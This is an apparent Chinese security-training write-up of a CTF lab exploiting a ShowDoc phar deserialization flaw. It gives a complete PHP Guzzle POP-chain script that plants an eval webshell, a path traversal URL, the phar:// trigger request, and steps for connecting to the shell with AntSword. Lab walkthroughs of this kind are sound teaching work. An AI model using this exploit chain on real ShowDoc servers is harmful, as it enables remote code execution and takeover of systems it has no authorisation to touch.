漏洞复现 | Showdoc反序列化

漏洞复现 | Showdoc反序列化

知识土拨鼠 掌控安全EDU 2024-07-13 12:00

码领资料

获网安教程

本文由掌控安全学院 – 知识土拨鼠 投稿

Track安全社区投稿~

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

非常简单的一个靶场

靶场地址:https://hack.zkaq.cn/

打开靶场,弹出了这种登录框,这也成为了后面的一个坑点,记住这个登录框。

看到了注册功能,showdoc有注册功能我们就不用尝试前台SQL注入了,直接注册就行(题目中的SQL注入多少有点滑稽..)。如果平时遇到了showdoc没有注册功能的,师傅们可以用p牛大佬的注入exphttps://github.com/vulhub/vulhub/blob/master/showdoc/3.2.5-sqli/poc.py接着打靶,登录后台,来到文件库

尝试直接读取flag/server/index.php?s=/../../../../flag.txt直接爆出了绝对路径
拿我们开始准备生成Phar的脚本,exp.php:

<?php

namespace GuzzleHttp\Cookie{

    class SetCookie {
        private static $defaults = [
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        ];
        function __construct()
{
            $this->data['Expires'] = '<?php @eval($_POST["cmd"]);?>';
            $this->data['Discard'] = 0;
        }
    }

    class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct() {
            $this->cookies[] = new SetCookie();
        }
    }

    class FileCookieJar extends CookieJar {
        private $filename;
        private $storeSessionCookies;
        function __construct() {
            parent::__construct();
            $this->filename = "/var/www/html/server/3.php";
            $this->storeSessionCookies = true;
        }
    }
}

namespace{
    $pop = new \GuzzleHttp\Cookie\FileCookieJar();
    $phar = new \Phar("flag.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'."__HALT_COMPILER();");
    $phar->setMetadata($pop);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

本地启动phpstudy,把exp.php在本地环境运行


成功生成flag.php
注意:1.制作phar包时需要修改php.ini文件如下:

[Phar]; http://php.net/phar.readonlyphar.readonly = Off; http://php.net/phar.require-hashphar.require_hash = Onphar.cache_list =


然后把flag.phar文件改名为flah.png,会有文件上传检测上传后,点击查看获取到文件路径


然后访问/server/index.php?s=home/index/new_is_writeable&file=phar://../获取到的文件路径触发phar反序列化


成功触发页面是空白,然后访问我们写入马子的位置


成功写入木马,但是这里有些人可能会连不上木马,像这样爆红


原因就是最开始的访问网页的认证登录框,我们重新开一个浏览器对比一下登录和没有登录区别。没有登录


登录成功


区别就是登录成功后带上了Authorization,所以我们在蚁剑中添加上这样的请求头,即可成功连接
获取flag